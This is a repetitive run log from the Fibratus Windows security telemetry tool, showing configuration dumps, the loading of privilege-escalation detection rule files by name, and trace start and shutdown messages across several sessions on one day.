passive=>false] http=>[ serializer=>json timeout=>5s tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST enable-gzip=>false] elasticsearch=>[ healthcheck-interval=>10s enabled=>false healthcheck=>true timeout=>5s sniff=>false gzip-compression=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus trace-log=>false bulk-workers=>1 flush-period=>1s] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] skip-files=>false scan-timeout=>10s enabled=>false skip-registry=>false skip-mmaps=>false skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:50:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:50:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:54:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:54:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:54:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:13:34+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T18:13:34+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T18:13:34+01:00 level=info msg=bootstrapping with pid 14660. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:13:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-audit-api=>true stack-enrichment=>true flush-interval=>1s enable-threadpool=>false enable-net=>true enable-mem=>true enable-thread=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-image=>true enable-fileio=>true buffer-size=>512 min-buffers=>16 enable-vamap=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 level=>info max-size=>100 log-stdout=>true] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] amqp=>[ delivery-mode=>transient exchange-type=>topic vhost=>/ routing-key=>fibratus enabled=>false timeout=>5s durable=>false passive=>false exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false] elasticsearch=>[ template-name=>fibratus healthcheck-interval=>10s timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus sniff=>false healthcheck=>true enabled=>false trace-log=>false gzip-compression=>false flush-period=>1s] http=>[ serializer=>json enable-gzip=>false endpoints=>[] timeout=>5s enabled=>false tls-insecure-skip-verify=>false method=>POST]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false excluded-files=>[] enabled=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:13:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:13:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:19:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:19:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:19:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:20:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T18:20:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T18:20:42+01:00 level=info msg=bootstrapping with pid 5088. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:20:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ min-buffers=>16 stack-enrichment=>true enable-mem=>true flush-interval=>1s max-buffers=>36 enable-threadpool=>false enable-audit-api=>true enable-thread=>true enable-net=>true buffer-size=>512 enable-fileio=>true enable-handle=>false enable-vamap=>true enable-image=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 formatter=>text level=>info] + output ......................... [ elasticsearch=>[ enabled=>false trace-log=>false timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false healthcheck=>true template-name=>fibratus index-name=>fibratus healthcheck-interval=>10s] http=>[ method=>POST enabled=>false tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false timeout=>5s endpoints=>[]] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus passive=>false enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus vhost=>/ durable=>false timeout=>5s exchange-type=>topic] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false skip-mmaps=>false enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[] skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:20:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:20:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:21:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:21:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:21:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:24:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-01T18:24:31+01:00 level=info msg=bootstrapping with pid 5208. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:24:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-net=>true enable-image=>true enable-vamap=>true enable-mem=>true enable-dns=>false enable-registry=>true enable-handle=>false max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 flush-interval=>1s enable-audit-api=>true enable-thread=>true enable-fileio=>true stack-enrichment=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 level=>info log-stdout=>true max-age=>0] + output ......................... [ http=>[ serializer=>json timeout=>5s method=>POST enabled=>false enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false] amqp=>[ durable=>false vhost=>/ exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s passive=>false enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange=>fibratus] elasticsearch=>[ trace-log=>false healthcheck-interval=>10s sniff=>false index-name=>fibratus flush-period=>1s healthcheck=>true timeout=>5s enabled=>false template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-registry=>false excluded-files=>[] skip-mmaps=>false skip-files=>false scan-timeout=>10s enabled=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:24:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:24:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:29:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:29:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:29:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:29:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-01T18:29:31+01:00 level=info msg=bootstrapping with pid 352. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:29:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-net=>true enable-thread=>true enable-threadpool=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-audit-api=>true min-buffers=>16 enable-handle=>false flush-interval=>1s enable-image=>true max-buffers=>36 enable-registry=>true enable-mem=>true stack-enrichment=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true formatter=>text level=>info] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ enable-gzip=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false enabled=>false serializer=>json method=>POST] amqp=>[ enabled=>false exchange=>fibratus passive=>false tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient durable=>false routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s template-name=>fibratus timeout=>5s healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false sniff=>false enabled=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s excluded-procs=>[] skip-allocs=>false fastscan=>true excluded-files=>[] skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:29:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:29:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:31:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:31:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:31:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:38:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-01T18:38:23+01:00 level=info msg=bootstrapping with pid 8280. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:38:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-net=>true max-buffers=>36 enable-mem=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-image=>true flush-interval=>1s enable-fileio=>true buffer-size=>512 enable-dns=>false enable-handle=>false enable-threadpool=>false stack-enrichment=>true enable-vamap=>true min-buffers=>16 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 formatter=>text log-stdout=>true level=>info max-age=>0] + output ......................... [ amqp=>[ enabled=>false url=>amqp://localhost:5672 exchange-type=>topic passive=>false vhost=>/ routing-key=>fibratus durable=>false timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient] http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false method=>POST enabled=>false serializer=>json] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false trace-log=>false timeout=>5s healthcheck=>true sniff=>false flush-period=>1s enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s bulk-workers=>1]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>false fastscan=>true excluded-procs=>[] enabled=>false skip-registry=>false skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:38:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:38:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:39:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:39:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:39:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:40:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-01T18:40:02+01:00 level=info msg=bootstrapping with pid 6400. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:40:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false port=>25 use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true 